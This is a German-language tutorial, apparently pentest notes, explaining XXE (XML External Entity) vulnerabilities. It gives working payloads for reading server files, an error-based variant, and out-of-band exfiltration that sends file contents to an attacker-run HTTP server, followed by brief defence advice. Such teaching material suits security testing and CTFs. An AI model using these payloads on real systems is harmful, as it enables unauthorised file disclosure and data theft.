XXE Attack

Was ist XXE?

XXE (XML External Entity) ist eine Schwachstelle, die auftritt, wenn eine Applikation XML-Daten verarbeitet und dabei externe Entitäten erlaubt. Ein Angreifer kann dies ausnutzen, um:

  • lokale Dateien vom Server auszulesen

  • Server Side Request Forgery (SSRF) durchzuführen

  • interne Systeme zu scannen

  • Denial-of-Service zu erzeugen

  • eventuell sogar Code auszuführen (bei unsicheren Parsern)

Für praktische Tests solltest du am besten BurpSuite verwenden – insbesondere den Repeater, um XML-Requests gezielt zu manipulieren und die Responses direkt zu analysieren. Dadurch kannst du schnell Payloads einfügen und mit verschiedenen Varianten experimentieren.

Warum funktioniert das?

XML erlaubt die Definition sogenannter Entities – Platzhalter für Inhalte. Mit einer externen Entity wie:

<!ENTITY myEntity SYSTEM "file:///etc/passwd">  

weist man den Parser an, den Inhalt der Datei /etc/passwd zu laden, wann immer &myEntity; im XML auftaucht.

Typen von XXE

1. Basic XXE (In-Band)

Die Datei wird direkt im Response sichtbar.

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

Warum funktioniert das? Der Parser ersetzt &xxe; mit dem Inhalt der Datei. Die Antwort des Servers zeigt uns den Inhalt direkt an.

2. Error-Based XXE

Hier wird eine Datei über Umwege in einer Fehlermeldung sichtbar gemacht. Dabei brauchst du einen eigenen Webserver, der die bösartige DTD-Datei hostet.

malicious.dtd (auf eigenem Webserver, z. B. python3 -m http.server 8000):

<!ENTITY % ext SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%ext;'>">
%eval;
%error;

XML Input:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ANGREIFER-IP:8000/malicious.dtd">
  %xxe;
]>
<root><name>test</name></root>

Erklärung:

  • %ext; enthält den Dateiinhalt

  • %eval; baut daraus eine neue Entity %error;

  • %error; triggert einen Fehler, wenn die Datei nicht existiert, und der Pfad (mit %ext) erscheint im Errorlog oder Response

  • Die Datei malicious.dtd wird vom XML-Parser über deinen Webserver nachgeladen

3. Out-of-Band XXE (Blind XXE)

Nutzt externen Callback (HTTP/FTP), um Inhalte abzugreifen, wenn keine direkte Antwort zurückkommt. Auch hier benötigst du einen eigenen Webserver, z. B. mit Python:

python3 -m http.server 9000

XML Input:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://192.168.1.161:9000/oob.dtd?resource=file:///etc/hostname">
  %xxe;
]>
<root><name>Tib3rius</name></root>

oob.dtd (gehostet auf deinem Webserver):

<!ENTITY % data SYSTEM "%resource;">
<!ENTITY % send "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.1.161:9000/?x=%data;'>">
%send;
%exfil;

Erklärung:

  • %xxe holt oob.dtd vom Angreifer

  • oob.dtd referenziert die Datei /etc/hostname

  • Diese wird als Parameter %data; in einen HTTP-GET eingebettet (/?x=...)

  • Die Daten kommen als HTTP-Anfrage auf dem Angreifer-Server an

Beispiel-Test-Setup

  1. Angreifer-Server starten:

python3 -m http.server 8000
  1. Testziel sendet XML mit SYSTEM "http://<deine-ip>:8000/malicious.dtd"

  2. HTTP-Requests beobachten – Dateiinhalt wird als Parameter gesendet

Nützliche Dateien zum Testen

  • /etc/passwd (Unix)

  • /etc/hostname

  • c:/windows/win.ini (Windows)

  • c:/windows/system32/drivers/etc/hosts

Schutz vor XXE

  • DTDs deaktivieren:

    parser.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True)
  • Externe Entitäten verbieten:

    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Whitelist-basierte Input-Validierung

  • Libraries wie defusedxml (Python) verwenden

Fazit

XXE ist extrem gefährlich, wenn XML-Eingaben unsicher verarbeitet werden. Besonders bei APIs oder Konfig-Formularen solltest du XML-Eingaben immer kritisch betrachten. Die Kombination aus BurpSuite, einem HTTP-Server und cleveren DTDs reicht oft aus, um Dateien zu exfiltrieren oder Systeme zu scannen.

Tipp: Nutze diese Payloads für CTFs oder Testumgebungen. In Produktivsystemen: nur mit Genehmigung!

Last updated